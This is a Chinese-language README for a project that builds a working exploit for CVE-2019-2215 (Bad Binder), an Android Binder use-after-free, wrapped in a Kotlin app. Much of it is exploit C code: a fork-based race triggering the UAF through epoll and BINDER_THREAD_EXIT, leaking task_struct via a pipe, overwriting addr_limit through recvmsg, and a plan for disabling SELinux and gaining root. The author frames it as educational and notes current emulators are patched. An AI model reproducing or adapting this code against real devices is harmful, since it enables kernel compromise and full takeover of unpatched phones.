此仓库是研究 CVE-2019-2215 (Bad Binder) 漏洞并编写适用于 Android 的工作原型 exploit 的小型测试项目,附带一个基于 Kotlin/Jetpack Compose 的简单图形界面。
本 README 中我将:
仓库中配置了 GitHub Actions workflow,每次 push/PR 时使用 ./gradlew assembleDebug 构建项目,并将构建好的 badbinder-debug.apk 发布为制品。
下载方式:
badbinder-debug-apk 压缩包。这样做是为了方便,如果只是想测试应用而无需搭建本地环境。
CVE-2019-2215 是 Android 内核 Binder IPC 子系统中的一个 Use-After-Free (UAF) 漏洞。
简化来说:
struct binder_thread,描述执行 Binder 调用的线程;waitqueue) 中;remove_wait_queue 中进行操作,从而触发经典的 UAF 场景;更详细的理论分析基于以下资料:
根据任务要求,建议使用 Android 10.0 (Q) x86_64 的 AVD 镜像。
我执行了以下步骤:
/dev/binder 设备。adb shell
ls -l /dev/binder
在此阶段我遇到了一个令人不快的事实:
目前 最新的 AVD 镜像已附带修补过的内核,其中已修复 CVE-2019-2215。也就是说,在现在的官方模拟器上无法真正获取 root — exploit 会在后续阶段崩溃,或根本无法提权。
因此,我将 AVD 用作 复现 exploit 逻辑的训练环境:
addr_limit 的尝试,这是一个重要的细节:以下所有代码和报告均为 教学性质,而非“实战”性质。
我制作了一个小型 Android 应用:
主要步骤:
在 Android Studio 中创建普通项目(Kotlin,最低支持 Android 10)。
集成 NDK 和 CMake。
添加原生 exploit 文件(即包含 leak_task_struct、overwrite_addr_limit 等函数的 cve-2019-2215.c)。
在 CMakeLists.txt 中添加构建 libcve-2019-2215.so 的规则。
在 MainActivity 中:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
在 Kotlin 侧创建 ExploitViewModel,它实现 NativeLogger 接口,并将所有消息存入 StateFlow<List<String>>。UI 订阅此流并在“终端”中显示日志。
在 Activity 启动时,我调用 setNativeLogger(viewModel),以便原生代码获取一个可以向其发送字符串的对象。
构建并安装应用:
./gradlew installDebug
启动 AVD 和该应用。
屏幕上显示一个“终端”和 RUN EXPLOIT 按钮。
点击按钮后:
runNativeExploit()。在真实存在漏洞的内核上,我期望最终看到类似如下输出:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
而在当前 Android 10 模拟器上,这当然不会发生,但其余部分 — task_struct 泄漏、改写 addr_limit 的尝试、计算 cred 和 kernel_base — 都作为“场景”得以执行,这符合任务要求。
下面是用 C 函数对应的 exploit 逻辑示意图。
高级计划如下:
struct binder_thread 对象上创建 UAF,并利用它泄漏自身进程的 task_struct 地址 (leak_task_struct)。task_struct 中的 addr_limit 字段 (overwrite_addr_limit) — 这消除了用户空间和内核空间地址之间的限制,以便后续的 copy_to_user / copy_from_user。arb_read / arb_write)。cred 和内核基址 (verifying),然后:
selinux_enforcing = 0),cred 字段,成为 root 并获得完整能力集 (runNativeExploit)。同时,我集成了 JNI 日志记录器,以便在 UI 中直接看到所有这些阶段。
task_struct 地址 (leak_task_struct)关键函数:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
函数作用:
将线程固定在 CPU 0 上 (sched_setaffinity),使内核分配器的行为更可预测。这提高了 UAF 利用的稳定性。
打开 /dev/binder,创建 epoll 描述符:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
将 Binder 描述符注册到 epoll:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
准备 struct iovec iov_buffers[IOVEC_N] 数组并分配内存:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
这里重要的是地址的低 32 位为零:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
这与漏洞利用文章中的技术相符:后续内核会将我们的部分数据解释为包含指针的结构体,而这种“漂亮对齐”的地址简化了滥用。
然后填充 iov_buffers[0xa] 和 iov_buffers[0xb] 字段,使得在 UAF 发生时,内核将包含 task_struct 指针的内存块复制到管道中。
创建管道并将其缓冲区大小设为 0x1000:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
接下来是 经典的 UAF 竞争。我启动一个子进程:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) 导致内核中关联的 binder_thread 被释放,但它仍然出现在等待队列结构中 — 这就是 UAF 点。在父进程中,我调用:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // 释放 binder_thread
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
在此阶段,由于 UAF,writev 使用了已释放的内存作为 iovec 结构,实际上重新解释了之前存放 binder_thread 的同一内存区域,但现在将其视为指针/长度集合。副作用之一是将内核内存片段复制到我们的管道中。
最后,我从管道中读取:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
偏移 0xe8 是针对特定内核版本调整的 — 在泄漏的内存块中,该位置包含指向我的进程 task_struct 的指针。
结果:我得到了内核中 task_struct 的地址,这对后续步骤至关重要。
addr_limit (overwrite_addr_limit)task_struct 中的 addr_limit 决定了进程在系统调用中可以传递哪些地址作为用户空间指针。如果将其改写为接近最大值,内核将无法区分用户空间地址和其自身地址空间中的地址 — 许多看似安全的 copy_(to|from)_user 操作将变成任意内核读/写。
函数:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
遵循非常相似的模式:
再次固定 CPU 亲和性,打开 /dev/binder,创建 epoll。
准备 iov_buffers,但这次方案不同:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0xc].iov_base = read_buffer0;
iov_buffers[0xc].iov_len = 0x8;
使用 socketpair(AF_UNIX, SOCK_STREAM, ...) 代替管道:
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
为 recvmsg 准备 msghdr 结构:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
在子进程中(fork() 后)再次启动 UAF 竞争:
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
父进程照例释放 binder_thread 并调用 recvmsg:
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
由于 UAF 和巧妙的结构替换,内核最终将 task_struct + ADDR_LIMIT_OFFSET 视为用户缓冲区地址,并将发送的结构体内容复制到该地址(我们的值 0xfffffffffffffffe),从而改写 task_struct 中的 addr_limit。
在日志中写入:
android_log("[!] addr_limit overwrite done.");
arb_read, arb_write, verifying)改写 addr_limit 后,我使用管道将普通读/写操作转化为读取和写入内核地址的能力。